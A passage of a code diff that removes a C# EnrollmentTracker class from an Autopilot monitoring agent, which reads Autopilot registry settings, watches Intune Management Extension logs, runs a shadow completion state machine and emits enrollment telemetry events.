_logger.Debug($"EnrollmentTracker: HasRealUserProfile found '{name}'");
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"EnrollmentTracker: HasRealUserProfile check failed: {ex.Message}");
|
||||
return false; // Fail safe: treat as no real user (suppress AccountSetup)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,814 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
using AutopilotMonitor.Shared;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using Microsoft.Win32;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment
|
||||
{
|
||||
/// <summary>
|
||||
/// Central enrollment tracking orchestrator.
|
||||
/// Collects consolidated device info events at startup and manages ImeLogTracker
|
||||
/// for smart app installation tracking with strategic event emission.
|
||||
/// </summary>
|
||||
public partial class EnrollmentTracker : IDisposable
|
||||
{
|
||||
private readonly string _sessionId;
|
||||
private readonly string _tenantId;
|
||||
private readonly Action<EnrollmentEvent> _emitEvent;
|
||||
private readonly AgentLogger _logger;
|
||||
private readonly string _imeLogFolder;
|
||||
private readonly List<ImeLogPattern> _imeLogPatterns;
|
||||
private readonly SystemSignals.EspAndHelloTracker _espAndHelloTracker;
|
||||
|
||||
private ImeLogTracker _imeLogTracker;
|
||||
private Timer _summaryTimer;
|
||||
private bool _summaryTimerActive;
|
||||
private Timer _debugStateTimer;
|
||||
private bool _debugStateTimerActive;
|
||||
|
||||
// ===== Thread-safety =====
|
||||
// All mutable state fields below are accessed from multiple threads:
|
||||
// - Timer callbacks (SummaryTimer, DebugStateTimer, safety timers) → ThreadPool
|
||||
// - ImeLogTracker event handlers (HandleEspPhaseChanged, HandleAppStateChanged, etc.) → FileSystemWatcher thread
|
||||
// - EspAndHelloTracker event handlers (OnHelloCompleted, OnFinalizingSetupPhaseTriggered, etc.) → COM thread
|
||||
// - MonitoringService (NotifyDesktopArrived) → desktop detection thread
|
||||
// - Task.Run (CollectDeviceInfo) → ThreadPool
|
||||
//
|
||||
// A single lock protects all shared fields. Lock sections contain ONLY field reads/writes —
|
||||
// never _emitEvent, _logger, timer operations, or external callbacks. This ensures:
|
||||
// - No deadlocks (no nested locking, no I/O under lock)
|
||||
// - Minimal contention (microsecond-level critical sections)
|
||||
// - Consistent multi-field reads (e.g., TryEmitEnrollmentComplete guard checks)
|
||||
private readonly object _stateLock = new object();
|
||||
|
||||
private string _lastEspPhase; // Track last ESP phase to prevent duplicate events
|
||||
private bool _hasAutoSwitchedToAppsPhase; // Track if we've already auto-switched to apps phase for current ESP phase
|
||||
private string _enrollmentType = "v1"; // "v1" = Autopilot Classic/ESP, "v2" = Windows Device Preparation
|
||||
private IEnrollmentFlowHandler _flowHandler = EnrollmentFlowFactory.FromWireFormat("v1"); // Kept in sync with _enrollmentType via SetEnrollmentType()
|
||||
private bool _isWaitingForHello = false; // Track if we're waiting for Hello to complete before sending enrollment_complete
|
||||
private readonly bool _isBootstrapMode; // Agent started via bootstrap token (pre-MDM)
|
||||
private bool _sendTraceEvents = true; // Send Trace-severity events to backend for decision auditing
|
||||
|
||||
// TEMPORARY: shadow SM rollout verification — remove when CompletionStateMachine is promoted to primary
|
||||
private string _lastShadowDiscrepancySignature;
|
||||
private bool _enrollmentStartDeviceInfoCollected = false; // Re-collect enrollment-dependent info once at first ESP phase
|
||||
private bool _finalDeviceInfoCollected = false; // Ensure final device info is emitted only once
|
||||
private string _lastEmittedSummaryHash; // Track last emitted state-breakdown to avoid redundant summary events
|
||||
private string _lastEmittedSummaryCompactHash; // Track completed+error counts only — changes here elevate severity to Info
|
||||
|
||||
// ESP failure handling (Phase 1)
|
||||
private Timer _espFailureTimer;
|
||||
private string _pendingEspFailureType;
|
||||
private const int EspFailureGracePeriodSeconds = 60;
|
||||
private static readonly HashSet<string> RecoverableEspFailureTypes = new HashSet<string>(StringComparer.OrdinalIgnoreCase)
|
||||
{
|
||||
"ESPProgress_Timeout"
|
||||
};
|
||||
|
||||
// Unified completion logic (Phase 3A)
|
||||
private bool _espEverSeen;
|
||||
private bool _espFinalExitSeen;
|
||||
private bool _enrollmentCompleteEmitted;
|
||||
private bool _desktopArrived;
|
||||
private bool _isHybridJoin;
|
||||
private readonly DateTime _agentStartTimeUtc = DateTime.UtcNow;
|
||||
|
||||
// Device info readiness — guards against race where completion signals arrive before CollectDeviceInfo finishes
|
||||
private volatile bool _deviceInfoCollected;
|
||||
private string _pendingCompletionSource;
|
||||
|
||||
// Device-Only ESP detection (Phase 3C)
|
||||
private Timer _deviceOnlyEspTimer;
|
||||
private const int DeviceOnlyEspTimerMinutes = 5;
|
||||
|
||||
// ESP configuration from registry (FirstSync\SkipUserStatusPage / SkipDeviceStatusPage)
|
||||
// null = unknown (registry keys not present), true = skip, false = show
|
||||
private bool? _skipUserStatusPage;
|
||||
private bool? _skipDeviceStatusPage;
|
||||
|
||||
// Autopilot deployment mode: 0=UserDriven, 1/2/3+=not yet confirmed mapping, null=unknown
|
||||
private int? _autopilotMode;
|
||||
private bool IsSelfDeploying => _autopilotMode == 1;
|
||||
|
||||
// True when AAD join status shows a joined device with a real user email.
|
||||
// Detected via CollectAadJoinStatus() in DeviceInfoCollector.
|
||||
private bool _aadJoinedWithUser;
|
||||
// Soft indicator: AAD userEmail matches a transient provisioning placeholder pattern
|
||||
// (foouser@, autopilot@). These accounts appear during Autopilot pre-provisioning
|
||||
// (WhiteGlove) and MUST NOT be treated as a real AAD-joined user.
|
||||
private bool _fooUserDetected;
|
||||
|
||||
// Set to true the moment the Shell-Core Event-62407 "WhiteGlove_Success" handler fires.
|
||||
// Distinct from <see cref="_signalCorrelatedWhiteGloveTriggered"/> (which is the
|
||||
// fire-once guard inside CompleteWhiteGlove and covers any completion path). Feeds
|
||||
// the WhiteGloveClassifier as the strongest positive signal.
|
||||
private bool _shellCoreWhiteGloveFired;
|
||||
|
||||
// Signal-correlated WhiteGlove detection (Ebene 2.6):
|
||||
// Feeds the bestehenden OnWhiteGloveCompleted() callback when the Shell-Core detector
|
||||
// does not match but the session shows the WhiteGlove sealing pattern (all Device-apps done,
|
||||
// DeviceSetup category succeeded, system reboot observed, AAD Not Joined, no AccountSetup
|
||||
// progress, no desktop arrival). Requires ≥10 min stability to avoid false-positives.
|
||||
private DateTime? _signalCorrelatedWhiteGloveStableSince;
|
||||
private bool _signalCorrelatedWhiteGloveTriggered;
|
||||
private bool _systemRebootObserved;
|
||||
private const int SignalCorrelatedWhiteGloveStabilityMinutes = 10;
|
||||
|
||||
/// <summary>
|
||||
/// Called by MonitoringService when a system_reboot_detected event is emitted
|
||||
/// (agent restart after an unclean exit / machine reboot). Used as an input signal
|
||||
/// for the signal-correlated WhiteGlove detection heuristic.
|
||||
/// </summary>
|
||||
public void NotifySystemRebootDetected()
|
||||
{
|
||||
lock (_stateLock)
|
||||
{
|
||||
_systemRebootObserved = true;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Called after a successful RegisterSession. Compares the backend's authoritative
|
||||
/// validator verdict against the agent's registry-based enrollment-type detection
|
||||
/// and, on mismatch, emits an <c>enrollment_type_mismatch</c> warning event and
|
||||
/// switches the active flow handler to the backend's verdict.
|
||||
///
|
||||
/// <see cref="ValidatorType.CorporateIdentifier"/> and <see cref="ValidatorType.Bootstrap"/>
|
||||
/// are treated as type-neutral (no claim about Classic vs DevPrep) and do not trigger a switch.
|
||||
/// </summary>
|
||||
public void ReconcileWithBackendValidator(ValidatorType validatedBy)
|
||||
{
|
||||
EnrollmentType backendType = validatedBy switch
|
||||
{
|
||||
ValidatorType.AutopilotV1 => EnrollmentType.Classic,
|
||||
ValidatorType.DeviceAssociation => EnrollmentType.DevicePreparation,
|
||||
_ => EnrollmentType.Unknown
|
||||
};
|
||||
|
||||
if (backendType == EnrollmentType.Unknown)
|
||||
return;
|
||||
|
||||
string currentWire;
|
||||
lock (_stateLock) { currentWire = _enrollmentType; }
|
||||
var currentType = EnrollmentTypeExtensions.FromWireFormat(currentWire);
|
||||
|
||||
if (currentType == backendType)
|
||||
{
|
||||
_logger.Verbose($"EnrollmentTracker: backend validator '{validatedBy}' matches registry-detected enrollment type '{currentWire}'.");
|
||||
return;
|
||||
}
|
||||
|
||||
var newWire = backendType.ToWireFormat();
|
||||
_logger.Warning($"EnrollmentTracker: enrollment type mismatch — registry='{currentWire}', backend='{newWire}' (validator={validatedBy}). Switching to backend verdict.");
|
||||
|
||||
lock (_stateLock)
|
||||
{
|
||||
_enrollmentType = newWire;
|
||||
_flowHandler = EnrollmentFlowFactory.Create(backendType);
|
||||
_stateData.EnrollmentType = newWire;
|
||||
_stateDirty = true;
|
||||
}
|
||||
|
||||
_emitEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = "enrollment_type_mismatch",
|
||||
Severity = EventSeverity.Warning,
|
||||
Source = "EnrollmentTracker",
|
||||
Phase = EnrollmentPhase.Unknown,
|
||||
Message = $"Registry-detected enrollment type '{currentWire}' differs from backend validator verdict '{newWire}' ({validatedBy}). Using backend verdict.",
|
||||
Data = new Dictionary<string, object>
|
||||
{
|
||||
{ "registryEnrollmentType", currentWire },
|
||||
{ "backendEnrollmentType", newWire },
|
||||
{ "backendValidator", validatedBy.ToString() }
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// True when no interactive user session is expected.
|
||||
// Self-Deploying (AutopilotMode=1) is always device-only.
|
||||
// SkipUserStatusPage=true alone does NOT mean device-only — admins commonly skip
|
||||
// the user ESP page in user-driven enrollments. Only classify as device-only when
|
||||
// SkipUserStatusPage=true AND no user has AAD-joined (no aad_join_status with userEmail).
|
||||
private bool IsDeviceOnlyDeployment => IsSelfDeploying || (_skipUserStatusPage == true && !_aadJoinedWithUser);
|
||||
|
||||
/// <summary>
|
||||
/// Creates a read-only snapshot of current state for the shadow state machine.
|
||||
/// Must be called OUTSIDE _stateLock (takes its own lock internally).
|
||||
/// </summary>
|
||||
private CompletionContext SnapshotCompletionContext()
|
||||
{
|
||||
lock (_stateLock)
|
||||
{
|
||||
return new CompletionContext
|
||||
{
|
||||
EnrollmentType = _enrollmentType,
|
||||
IsHybridJoin = _isHybridJoin,
|
||||
AutopilotMode = _autopilotMode,
|
||||
SkipUserStatusPage = _skipUserStatusPage,
|
||||
AadJoinedWithUser = _aadJoinedWithUser,
|
||||
EspEverSeen = _espEverSeen,
|
||||
EspFinalExitSeen = _espFinalExitSeen,
|
||||
DesktopArrived = _desktopArrived,
|
||||
LastEspPhase = _lastEspPhase,
|
||||
DeviceInfoCollected = _deviceInfoCollected,
|
||||
HasHelloTracker = _espAndHelloTracker != null,
|
||||
IsHelloCompleted = _espAndHelloTracker?.IsHelloCompleted ?? false,
|
||||
IsHelloPolicyConfigured = _espAndHelloTracker?.IsPolicyConfigured ?? false,
|
||||
HasUnresolvedEspCategories = false, // Will be set by caller when available
|
||||
HasAccountSetupActivity = _espAndHelloTracker?.HasAccountSetupActivity ?? false,
|
||||
WhiteGloveStartDetected = _espAndHelloTracker?.IsWhiteGloveStartDetected ?? false,
|
||||
HasSaveWhiteGloveSuccessResult = _espAndHelloTracker?.HasSaveWhiteGloveSuccessResult ?? false,
|
||||
ShellCoreWhiteGloveSuccess = _shellCoreWhiteGloveFired,
|
||||
IsFooUserDetected = _fooUserDetected,
|
||||
AgentStartTimeUtc = _agentStartTimeUtc,
|
||||
EspFinalExitUtc = _stateData.EspFinalExitUtc,
|
||||
ImePatternSeenUtc = _stateData.ImePatternSeenUtc
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Fires the shadow state machine trigger and compares the result with the actual state.
|
||||
/// Logs discrepancies as warnings. Does NOT change actual behavior.
|
||||
/// Also dual-writes the CompletionState to _stateData for persistence.
|
||||
/// </summary>
|
||||
private void ShadowProcessTrigger(string trigger, CompletionContext ctx = null)
|
||||
{
|
||||
try
|
||||
{
|
||||
ctx = ctx ?? SnapshotCompletionContext();
|
||||
var result = _completionSm.ProcessTrigger(trigger, ctx);
|
||||
|
||||
// Dual-write: persist the explicit state alongside the boolean flags
|
||||
lock (_stateLock)
|
||||
{
|
||||
_stateData.CompletionState = _completionSm.CurrentState.ToString();
|
||||
}
|
||||
|
||||
// Compare terminal state: shadow SM reached terminal vs actual _enrollmentCompleteEmitted.
|
||||
// Both sides must use the same definition of "terminal": the actual flag is set for
|
||||
// enrollment_complete, enrollment_failed AND the WG-redirect path — so shadow must match
|
||||
// that by accepting Completed, Failed and WhiteGloveCompleted as terminal states.
|
||||
bool actualTerminal;
|
||||
lock (_stateLock) { actualTerminal = _enrollmentCompleteEmitted; }
|
||||
bool shadowTerminal = _completionSm.CurrentState.IsTerminal();
|
||||
|
||||
if (actualTerminal != shadowTerminal)
|
||||
{
|
||||
_logger.Warning($"EnrollmentTracker [SHADOW DISCREPANCY]: trigger='{trigger}', " +
|
||||
$"shadowState={_completionSm.CurrentState}, actualEmitted={actualTerminal}, " +
|
||||
$"shadowCompleted={shadowTerminal}");
|
||||
|
||||
// TEMPORARY: shadow SM rollout verification — remove when CompletionStateMachine is promoted to primary
|
||||
// Emit a backend event (throttled to 1x per unique signature per session) so we can query
|
||||
// mismatches without relying on client-side logs. Severity=Warning so it ships independent of SendTraceEvents.
|
||||
EmitShadowDiscrepancyEvent(trigger, ctx, actualTerminal, shadowTerminal);
|
||||
}
|
||||
else if (result.Transitioned)
|
||||
{
|
||||
_logger.Verbose($"EnrollmentTracker [SHADOW]: trigger='{trigger}', " +
|
||||
$"{result.PreviousState} -> {result.NewState}");
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
// Shadow mode must never crash the agent
|
||||
_logger.Debug($"EnrollmentTracker [SHADOW ERROR]: trigger='{trigger}', error={ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
// Safety-net timer for waiting_for_hello state
|
||||
private Timer _waitingForHelloSafetyTimer;
|
||||
private const int WaitingForHelloSafetyTimeoutSeconds = 420; // 7 min — longer than Hello chain (330s)
|
||||
|
||||
// ESP provisioning settle wait: when IME pattern fires but ESP categories are still unresolved,
|
||||
// wait up to 30s for Windows to finalize the ESP provisioning status in the registry.
|
||||
private bool _isWaitingForEspSettle = false;
|
||||
private Timer _waitingForEspSettleTimer;
|
||||
private const int EspSettleTimeoutSeconds = 30;
|
||||
|
||||
// Safety-net timer for device-only ESP completion (SkipUserStatusPage=true)
|
||||
private Timer _deviceOnlyCompletionSafetyTimer;
|
||||
private const int DeviceOnlyCompletionSafetyTimeoutSeconds = 420; // 7 min — same as Hello safety
|
||||
|
||||
// State persistence for crash recovery
|
||||
private readonly EnrollmentStatePersistence _statePersistence;
|
||||
private EnrollmentStateData _stateData = new EnrollmentStateData();
|
||||
private bool _stateDirty;
|
||||
|
||||
// Completion check throttling (max 1x/min per source)
|
||||
private readonly Dictionary<string, DateTime> _lastCompletionCheckBySource = new Dictionary<string, DateTime>();
|
||||
|
||||
// Shadow state machine: runs in parallel with existing logic for behavioral verification.
|
||||
// Logs discrepancies but does NOT affect actual enrollment completion.
|
||||
private readonly CompletionStateMachine _completionSm = new CompletionStateMachine();
|
||||
|
||||
// Default IME log folder
|
||||
private const string DefaultImeLogFolder = @"%ProgramData%\Microsoft\IntuneManagementExtension\Logs";
|
||||
|
||||
private Telemetry.DeviceInfo.DeviceInfoCollector _deviceInfoCollector;
|
||||
|
||||
// ConfigMgr (SCCM) co-management detection — fire-once guard
|
||||
private bool _configMgrDetected;
|
||||
|
||||
/// <summary>
|
||||
/// Detects whether the Autopilot profile indicates Hybrid Azure AD Join
|
||||
/// by reading CloudAssignedDomainJoinMethod from the AutopilotPolicyCache registry key.
|
||||
/// Safe to call before EnrollmentTracker is instantiated.
|
||||
/// Returns true if CloudAssignedDomainJoinMethod == 1.
|
||||
/// </summary>
|
||||
public static bool DetectHybridJoinStatic()
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Provisioning\AutopilotPolicyCache"))
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
var domainJoinMethod = key.GetValue("CloudAssignedDomainJoinMethod")?.ToString();
|
||||
return domainJoinMethod == "1";
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Detects whether this is an Autopilot v1 (Classic ESP) or v2 (Windows Device Preparation) enrollment
|
||||
/// by reading the Autopilot registry keys. Safe to call before EnrollmentTracker is instantiated.
|
||||
/// Returns "v2" if WDP indicators are present, "v1" otherwise.
|
||||
/// </summary>
|
||||
public static string DetectEnrollmentTypeStatic()
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Provisioning\AutopilotSettings"))
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
// CloudAssignedDeviceRegistration=2 signals WDP provisioning flow
|
||||
var deviceReg = key.GetValue("CloudAssignedDeviceRegistration")?.ToString();
|
||||
if (deviceReg == "2")
|
||||
return "v2";
|
||||
|
||||
// CloudAssignedEspEnabled=0 means no ESP, characteristic of WDP
|
||||
var espEnabled = key.GetValue("CloudAssignedEspEnabled")?.ToString();
|
||||
if (espEnabled == "0")
|
||||
return "v2";
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
|
||||
return "v1";
|
||||
}
|
||||
|
||||
public EnrollmentTracker(
|
||||
string sessionId,
|
||||
string tenantId,
|
||||
Action<EnrollmentEvent> emitEvent,
|
||||
AgentLogger logger,
|
||||
List<ImeLogPattern> imeLogPatterns,
|
||||
string imeLogFolderOverride = null,
|
||||
bool simulationMode = false,
|
||||
double speedFactor = 50,
|
||||
string imeMatchLogPath = null,
|
||||
SystemSignals.EspAndHelloTracker espAndHelloTracker = null,
|
||||
bool isBootstrapMode = false,
|
||||
bool sendTraceEvents = true)
|
||||
{
|
||||
_isBootstrapMode = isBootstrapMode;
|
||||
_sendTraceEvents = sendTraceEvents;
|
||||
_isHybridJoin = DetectHybridJoinStatic();
|
||||
_sessionId = sessionId;
|
||||
_tenantId = tenantId;
|
||||
_emitEvent = emitEvent;
|
||||
_logger = logger;
|
||||
_imeLogPatterns = imeLogPatterns ?? new List<ImeLogPattern>();
|
||||
_imeLogFolder = imeLogFolderOverride ?? DefaultImeLogFolder;
|
||||
_espAndHelloTracker = espAndHelloTracker;
|
||||
_deviceInfoCollector = new Telemetry.DeviceInfo.DeviceInfoCollector(sessionId, tenantId, emitEvent, logger);
|
||||
|
||||
// State persistence for crash recovery
|
||||
var stateDirectory = @"%ProgramData%\AutopilotMonitor\State";
|
||||
_statePersistence = new EnrollmentStatePersistence(stateDirectory, _logger);
|
||||
|
||||
// Create ImeLogTracker with state persistence directory
|
||||
_imeLogTracker = new ImeLogTracker(_imeLogFolder, _imeLogPatterns, _logger, matchLogPath: imeMatchLogPath, stateDirectory: stateDirectory);
|
||||
_imeLogTracker.SimulationMode = simulationMode;
|
||||
_imeLogTracker.SpeedFactor = speedFactor;
|
||||
|
||||
// Wire up callbacks
|
||||
_imeLogTracker.OnEspPhaseChanged = HandleEspPhaseChanged;
|
||||
_imeLogTracker.OnImeAgentVersion = HandleImeAgentVersion;
|
||||
_imeLogTracker.OnImeStarted = HandleImeStarted;
|
||||
_imeLogTracker.OnAppStateChanged = HandleAppStateChanged;
|
||||
_imeLogTracker.OnPoliciesDiscovered = HandlePoliciesDiscovered;
|
||||
_imeLogTracker.OnAllAppsCompleted = HandleAllAppsCompleted;
|
||||
_imeLogTracker.OnUserSessionCompleted = HandleUserSessionCompleted;
|
||||
_imeLogTracker.OnImeSessionChange = HandleImeSessionChange;
|
||||
_imeLogTracker.OnDoTelemetryReceived = HandleDoTelemetryReceived;
|
||||
_imeLogTracker.OnScriptCompleted = HandleScriptCompleted;
|
||||
|
||||
// Subscribe to EspAndHelloTracker completion event if available
|
||||
if (_espAndHelloTracker != null)
|
||||
{
|
||||
_espAndHelloTracker.HelloCompleted += OnHelloCompleted;
|
||||
_espAndHelloTracker.FinalizingSetupPhaseTriggered += OnFinalizingSetupPhaseTriggered;
|
||||
_espAndHelloTracker.WhiteGloveCompleted += OnWhiteGloveCompleted;
|
||||
_espAndHelloTracker.EspFailureDetected += OnEspFailureDetected;
|
||||
_espAndHelloTracker.DeviceSetupProvisioningComplete += OnDeviceSetupProvisioningComplete;
|
||||
|
||||
// Backfill recent ESP exit events that may have fired before we subscribed.
|
||||
// The EspAndHelloTracker is started by CollectorCoordinator before the EnrollmentTracker
|
||||
// is created, so esp_exiting events detected during that window are lost. Backfill recovers them.
|
||||
_espAndHelloTracker.BackfillRecentEspExitEvents();
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Updates the SendTraceEvents setting from remote config at runtime.
|
||||
/// </summary>
|
||||
public void UpdateSendTraceEvents(bool value) => _sendTraceEvents = value;
|
||||
|
||||
/// <summary>
|
||||
/// Emits a Trace-severity event that captures an agent decision for backend-side troubleshooting.
|
||||
/// Always logged locally; only sent to the backend when SendTraceEvents is enabled.
|
||||
/// </summary>
|
||||
private void EmitTraceEvent(string decision, string reason, Dictionary<string, object> context = null)
|
||||
{
|
||||
var data = new Dictionary<string, object>
|
||||
{
|
||||
{ "decision", decision },
|
||||
{ "reason", reason }
|
||||
};
|
||||
if (context != null)
|
||||
{
|
||||
foreach (var kvp in context)
|
||||
data[kvp.Key] = kvp.Value;
|
||||
}
|
||||
|
||||
_logger.Trace($"EnrollmentTracker: {decision} — {reason}");
|
||||
|
||||
if (_sendTraceEvents)
|
||||
{
|
||||
_emitEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = "agent_trace",
|
||||
Severity = EventSeverity.Trace,
|
||||
Source = "EnrollmentTracker",
|
||||
Phase = EnrollmentPhase.Unknown,
|
||||
Message = $"{decision}: {reason}",
|
||||
Data = data
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
// TEMPORARY: shadow SM rollout verification — remove when CompletionStateMachine is promoted to primary
|
||||
/// <summary>
|
||||
/// Emits a <c>shadow_discrepancy</c> event when the shadow CompletionStateMachine disagrees
|
||||
/// with the actual <c>_enrollmentCompleteEmitted</c> flag. Throttled to one event per unique
|
||||
/// {trigger|shadowState|actualEmitted} signature per session to avoid flooding the backend
|
||||
/// while still surfacing every distinct divergence constellation.
|
||||
/// </summary>
|
||||
private void EmitShadowDiscrepancyEvent(string trigger, CompletionContext ctx, bool actualTerminal, bool shadowTerminal)
|
||||
{
|
||||
var shadowState = _completionSm.CurrentState.ToString();
|
||||
var signature = $"{trigger}|{shadowState}|{actualTerminal}";
|
||||
if (signature == _lastShadowDiscrepancySignature)
|
||||
return;
|
||||
_lastShadowDiscrepancySignature = signature;
|
||||
|
||||
var data = new Dictionary<string, object>
|
||||
{
|
||||
{ "trigger", trigger ?? "(null)" },
|
||||
{ "shadowState", shadowState },
|
||||
{ "actualEmitted", actualTerminal },
|
||||
{ "shadowCompleted", shadowTerminal },
|
||||
{ "enrollmentType", ctx?.EnrollmentType },
|
||||
{ "autopilotMode", ctx?.AutopilotMode },
|
||||
{ "skipUserStatusPage", ctx?.SkipUserStatusPage },
|
||||
{ "aadJoinedWithUser", ctx?.AadJoinedWithUser ?? false },
|
||||
{ "isHybridJoin", ctx?.IsHybridJoin ?? false },
|
||||
{ "isDeviceOnly", ctx?.IsDeviceOnly ?? false },
|
||||
{ "espEverSeen", ctx?.EspEverSeen ?? false },
|
||||
{ "espFinalExitSeen", ctx?.EspFinalExitSeen ?? false },
|
||||
{ "desktopArrived", ctx?.DesktopArrived ?? false },
|
||||
{ "lastEspPhase", ctx?.LastEspPhase },
|
||||
{ "hasHelloTracker", ctx?.HasHelloTracker ?? false },
|
||||
{ "isHelloCompleted", ctx?.IsHelloCompleted ?? false },
|
||||
{ "isHelloPolicyConfigured", ctx?.IsHelloPolicyConfigured ?? false },
|
||||
{ "hasUnresolvedEspCategories", ctx?.HasUnresolvedEspCategories ?? false }
|
||||
};
|
||||
|
||||
try
|
||||
{
|
||||
_emitEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = Constants.EventTypes.ShadowDiscrepancy,
|
||||
Severity = EventSeverity.Warning,
|
||||
Source = "EnrollmentTracker",
|
||||
Phase = EnrollmentPhase.Unknown,
|
||||
Message = $"Shadow SM mismatch: trigger={trigger}, shadow={shadowState}, emitted={actualTerminal}",
|
||||
Data = data
|
||||
});
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
// Diagnostic event must never crash the agent
|
||||
_logger.Debug($"EnrollmentTracker [SHADOW EVENT ERROR]: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Starts the enrollment tracker: collects device info and starts IME log tracking.
|
||||
/// </summary>
|
||||
public void Start()
|
||||
{
|
||||
_logger.Info("EnrollmentTracker: starting");
|
||||
|
||||
// Load persisted state for crash recovery
|
||||
LoadState();
|
||||
|
||||
// Start IME log tracking immediately — this is the critical enrollment watcher.
|
||||
// Device info collection (WMI + registry) runs in the background so it doesn't
|
||||
// delay the ImeLogTracker from catching early enrollment events.
|
||||
_imeLogTracker.Start();
|
||||
|
||||
// Collect and emit device info asynchronously (3 WMI queries + 5+ registry reads)
|
||||
Task.Run(() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
CollectDeviceInfo();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"EnrollmentTracker: background device info collection failed: {ex.Message}");
|
||||
}
|
||||
});
|
||||
|
||||
// Check for ConfigMgr co-management client (separate task, must not delay device info)
|
||||
Task.Run(() =>
|
||||
{
|
||||
try { CheckConfigMgrClient("startup"); }
|
||||
catch (Exception ex) { _logger.Debug($"EnrollmentTracker: startup ConfigMgr check failed: {ex.Message}"); }
|
||||
});
|
||||
|
||||
// TODO: Überdenken ob ein 30s timer hier wirklich immer gut ist, hab einen Fall gesehen mit
|
||||
// laaanger Wartephase in WhiteGlove weil ein 24H2 feature update reinkam und installiert wurde
|
||||
|
||||
// Start periodic summary timer (30s, starts when app tracking begins)
|
||||
_summaryTimer = new Timer(SummaryTimerCallback, null, Timeout.Infinite, Timeout.Infinite);
|
||||
_debugStateTimer = new Timer(DebugStateTimerCallback, null, Timeout.Infinite, Timeout.Infinite);
|
||||
|
||||
_logger.Info("EnrollmentTracker: started");
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Stops the enrollment tracker
|
||||
/// </summary>
|
||||
public void Stop()
|
||||
{
|
||||
_logger.Info("EnrollmentTracker: stopping");
|
||||
|
||||
_summaryTimer?.Change(Timeout.Infinite, Timeout.Infinite);
|
||||
_debugStateTimer?.Change(Timeout.Infinite, Timeout.Infinite);
|
||||
_imeLogTracker?.Stop();
|
||||
|
||||
_logger.Info("EnrollmentTracker: stopped");
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Updates IME log patterns (hot-reload from config change)
|
||||
/// </summary>
|
||||
public void UpdatePatterns(List<ImeLogPattern> newPatterns)
|
||||
{
|
||||
if (newPatterns != null)
|
||||
{
|
||||
_logger.Info("EnrollmentTracker: updating IME log patterns (hot-reload)");
|
||||
_imeLogTracker?.CompilePatterns(newPatterns);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Access to the ImeLogTracker (for simulator to reference package states)
|
||||
/// </summary>
|
||||
public ImeLogTracker ImeTracker => _imeLogTracker;
|
||||
|
||||
// ===== Device Info Collection =====
|
||||
|
||||
private void CollectDeviceInfo()
|
||||
{
|
||||
var result = _deviceInfoCollector.CollectAll();
|
||||
|
||||
bool wasDeviceOnly;
|
||||
lock (_stateLock)
|
||||
{
|
||||
wasDeviceOnly = IsDeviceOnlyDeployment;
|
||||
_enrollmentType = result.enrollmentType;
|
||||
_flowHandler = EnrollmentFlowFactory.FromWireFormat(result.enrollmentType);
|
||||
_skipUserStatusPage = result.skipUserStatusPage;
|
||||
_skipDeviceStatusPage = result.skipDeviceStatusPage;
|
||||
_autopilotMode = result.autopilotMode;
|
||||
_aadJoinedWithUser = result.hasAadJoinedUser;
|
||||
_fooUserDetected = result.isFooUserDetected;
|
||||
_stateData.EnrollmentType = _enrollmentType;
|
||||
_stateData.SkipUserStatusPage = _skipUserStatusPage;
|
||||
_stateData.SkipDeviceStatusPage = _skipDeviceStatusPage;
|
||||
_stateData.AutopilotMode = _autopilotMode;
|
||||
_stateData.AadJoinedWithUser = _aadJoinedWithUser;
|
||||
_stateData.FooUserDetected = _fooUserDetected;
|
||||
_stateData.IsHybridJoin = _isHybridJoin;
|
||||
_stateDirty = true;
|
||||
}
|
||||
|
||||
// Snapshot values under lock for trace events (emitted outside lock)
|
||||
bool isDeviceOnly, isSelfDeploying, aadJoinedWithUser;
|
||||
int? autopilotMode;
|
||||
bool? skipUserStatusPage;
|
